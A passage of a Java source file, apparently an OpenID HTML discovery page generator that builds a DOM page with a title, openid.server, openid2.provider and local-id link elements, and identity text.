").append(NEWLINE);
64 | sb.append("
");
65 | sb.append(idenentity);
66 | sb.append("
").append(NEWLINE);
67 | sb.append(" ").append(NEWLINE);
68 | sb.append("").append(NEWLINE);
69 | return sb.toString();
70 | }
71 |
72 | protected static Document generateHtmlDocument(HtmlDiscoveryConfiguration config) {
73 | Document htmlDoc = DomUtilities.createEmptyDom();
74 | Element html = appendElement(htmlDoc, htmlDoc, "html");
75 | generateHtmlHead(html, config);
76 | generateHtmlBody(html, config);
77 | return htmlDoc;
78 | }
79 |
80 | private static Element appendElement(Node parentElement, final String childName) {
81 | final Document ownerDocument = parentElement.getOwnerDocument();
82 | return appendElement(ownerDocument, parentElement, childName);
83 | }
84 |
85 | private static void generateHtmlBody(Element html, final HtmlDiscoveryConfiguration config) {
86 | final String identity = config.getIdentity();
87 | Element body = appendElement(html, "body");
88 | Element p1 = appendElement(body, "p");
89 | p1.setTextContent("HTML Discovery for:");
90 | Element p2 = appendElement(body, "p");
91 | p2.setTextContent(identity);
92 | }
93 |
94 | private static void generateHtmlHead(Element html, final HtmlDiscoveryConfiguration config) {
95 | final String identity = config.getIdentity();
96 | Element head = appendElement(html, "head");
97 | Element title = appendElement(head, "title");
98 | title.setTextContent(identity);
99 | addOpenIdServerIfWanted(config, head);
100 | addOpenId2ProviderIfWanted(config, head);
101 | addOpenIdLocalIdentityIfWanted(config, head);
102 | }
103 |
104 | private static void addOpenIdLink(Element parent, final String name, final String value) {
105 | Element link = appendElement(parent, "link");
106 | link.setAttribute("rel", name);
107 | link.setAttribute("href", value);
108 | }
109 |
110 | private static void addOpenIdServerIfWanted(final HtmlDiscoveryConfiguration config, Element head) {
111 | if (config.isOpenidServer()) {
112 | final String name = "openid.server";
113 | final String value = config.getBaseUrl();
114 | addOpenIdLink(head, name, value);
115 | }
116 | }
117 |
118 | private static void addOpenId2ProviderIfWanted(final HtmlDiscoveryConfiguration config, Element head) {
119 | if (config.isOpenId2Provider()) {
120 | final String name = "openid2.provider";
121 | final String value = config.getBaseUrl();
122 | addOpenIdLink(head, name, value);
123 | }
124 | }
125 |
126 | private static void addOpenIdLocalIdentityIfWanted(final HtmlDiscoveryConfiguration config, Element head) {
127 | if (config.isIncludeIdentity()) {
128 | final String name = "openid2.local_id";
129 | final String value = config.getIdentity();
130 | addOpenIdLink(head, name, value);
131 | }
132 | }
133 |
134 | private static Element appendElement(final Document ownerDocument, Node parentElement, final String childName) {
135 | final Element childElement = ownerDocument.createElement(childName);
136 | parentElement.appendChild(childElement);
137 | return childElement;
138 | }
139 |
140 | private HtmlDiscoveryGenerator() {
141 | }
142 | }
143 |
--------------------------------------------------------------------------------